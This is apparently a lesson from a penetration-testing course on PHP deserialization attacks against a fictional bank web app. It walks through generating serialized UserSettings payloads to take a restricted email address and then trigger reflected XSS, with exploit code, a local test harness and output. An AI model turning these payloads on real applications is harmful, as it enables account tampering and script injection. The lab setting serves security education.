Introduction to Deserialization Attacks  

Object Injection (PHP)


Updating our Email Address

In the previous section we identified calls to serialize and unserialize in handleSettingsIE() which looked very interesting. Looking at app/Helpers/UserSettings.php we can see that Name, Email, Password, and ProfilePic are the details that are stored in this object.

<?php

namespace App\Helpers;

class UserSettings {
    private $Name;
    private $Email;
    private $Password;
    private $ProfilePic;

    public function getName() {
        return $this->Name;
    }

    public function getEmail() {
        return $this->Email;
    }

    public function getPassword() {
        return $this->Password;
    }

    public function getProfilePic() {
        return $this->ProfilePic;
    }

    public function setName($Name) {
        $this->Name = $Name;
    }

    public function setEmail($Email) {
        $this->Email = $Email;
    }

    public function setPassword($Password) {
        $this->Password = $Password;
    }

    public function setProfilePic($ProfilePic) {
        $this->ProfilePic = $ProfilePic;
    }

    public function __construct($Name, $Email, $Password, $ProfilePic) {
        $this->setName($Name);
        $this->setEmail($Email);
        $this->setPassword($Password);
        $this->setProfilePic($ProfilePic);
    }
...

With this knowledge, we should be able to generate serialized UserSettings objects with arbitrary details, and since HTBank GmbH told us specifically that you can't create user accounts with @htbank.com email addresses, this is the first thing we will try to do.

First, we will create a file called UserSettings.php and copy the contents of app/Helpers/UserSettings.php into this. Next, we will create another file named exploit.php in the same directory with the following contents to generate a serialized UserSettings object with the email address [email protected] and password pentest.

<?php
include('UserSettings.php');

echo base64_encode(serialize(new \App\Helpers\UserSettings('pentest', '[email protected]', '$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda', 'default.jpg')));

We can run this PHP file locally and get our serialized object:

[!bash!]$ php exploit.php 

TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...WMiO3M6MTE6ImRlZmF1bHQuanBnIjt9

Testing Locally

Before we run any attacks against the real target, since we have the source code, it's a good idea to test the attack locally first to double-check that everything works as expected.

To avoid having to install many dependencies and set up a MySQL server, we will isolate the targeted functionality we need to test. In this case our target function is app/Http/Controllers/HTController.php:handleSettingsIE(), where unserialize is called.

We can create a file locally called target.php and put the (slightly modified) contents of handleSettingsIE() in, specifically :

<?php

include('UserSettings.php');

// else if (isset($request['import']) && !empty($request['settings'])) {
//   $userSettings = unserialize(base64_decode($request['settings']));
$userSettings = unserialize(base64_decode($argv[1]));

//   $user = Auth::user();
//   $user->name = $userSettings->getName();
//   $user->email = $userSettings->getEmail();
//   $user->password = $userSettings->getPassword();
//   $user->profile_pic = $userSettings->getProfilePic();
//   $user->save();    
print("\n");
print('$user->name = ' . $userSettings->getName() . "\n");
print('$user->email = ' . $userSettings->getEmail() . "\n");
print('$user->password = ' . $userSettings->getPassword() . "\n");
print('$user->profile_pic = ' . $userSettings->getProfilePic() . "\n");
print("\n");

//   Session::flash('ie-message', "Imported settings for '" . $userSettings->getName() . "'");
print('ie-message => Imported settings for \'' . $userSettings->getName() . '\'');

// }

Now we should be able to test the exploit locally before running it against the live target. Passing the base64-encoded payload we generated as the argument to target.php we can see the values that the application would work with after unserializing:

[!bash!]$ php target.php TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...WMiO3M6MTE6ImRlZmF1bHQuanBnIjt9

$user->name = pentest
$user->email = [email protected]
$user->password = $2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda
$user->profile_pic = default.jpg

ie-message => Imported settings for 'pentest'

Everything looks good, so we can continue to re-run the attack against the live target.

Running against the Target

Pasting the Base64 string into Settings and hitting Import Settings, we get a confirmation message that the settings were imported, and looking at the Update Settings section, we can confirm that our email was updated to [email protected]. At this point, we can check the other pages if anything is different.


Reflected XSS

We can see in the screenshot above that our username is displayed in the message after successfully importing a user. Using grep again, we can see that this message is generated in app/Http/Controllers/HTController.php and assigned to the ie-message variable:

[!bash!]$ grep -nr "Imported settings for '" .

./app/Http/Controllers/HTController.php:135: Session::flash('ie-message', "Imported settings for '" . $userSettings->getName() . "'");

Searching for the variable name ie-message, we see a few responses, but one sticks out:

[!bash!]$ grep -nr 'ie-message' .
...
./resources/views/settings.blade.php:53: <p class="text-success">{!! Session::get('ie-message') !!}</p>
...

Laravel uses the Blade templating engine for rendering its pages, and usually, when we are displaying variables in templates, we enclose them with {{ ... }}. We can check the documentation and see that enclosing a variable in {!! ... !!} means it will not be run through htmlspecialchars before being displayed.

User-controlled data, which is displayed back to us without being escaped, is a perfect scenario for XSS, so we can update our exploit.php file to verify this vulnerability by setting the Name field to <script>alert(1)</script>:

...
echo base64_encode(serialize(new \App\Helpers\UserSettings('<script>alert(1)</script>', '[email protected]', '$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda', 'default.jpg')));

Running exploit.php again, we get another Base64-encoded payload:

[!bash!]$ php exploit.php 

TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNld...SNIP...x0LmpwZyI7fQ==

Local testing confirms the payload works as expected:

[!bash!]$ php target.php 

TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNld...SNIP...x0LmpwZyI7fQ==

$user->name = <script>alert(1)</script>
$user->email = [email protected]
$user->password = $2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda
$user->profile_pic = default.jpg

ie-message => Imported settings for '<script>alert(1)</script>'

We can take this payload, and when we import it into the system, we should get a pop-up window signifying a successful reflected XSS attack.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next